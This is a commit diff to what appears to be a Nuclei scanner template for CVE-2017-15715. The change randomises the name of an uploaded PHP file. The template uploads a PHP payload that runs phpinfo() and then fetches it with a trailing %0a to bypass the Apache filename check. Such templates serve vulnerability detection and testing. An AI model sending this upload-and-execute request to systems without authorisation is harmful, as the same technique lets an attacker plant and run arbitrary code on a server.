making it unique for every new scans

cves/2017/CVE-2017-15715.yaml

@@ -24,15 +24,15 @@ requests:
         ----------79556870
         Content-Disposition: form-data; name="name"
 
-        nuclei.php
+        {{randstr}}.php
         ----------79556870
-        Content-Disposition: form-data; name="file"; filename="nuclei.php"
+        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
 
         <?=phpinfo()?>
         ----------79556870
 
       - |
-        GET /nuclei.php%0a HTTP/1.1
+        GET /{{randstr}}.php%0a HTTP/1.1
         Host: {{Hostname}}
         Accept-Encoding: gzip,deflate
         Accept: */*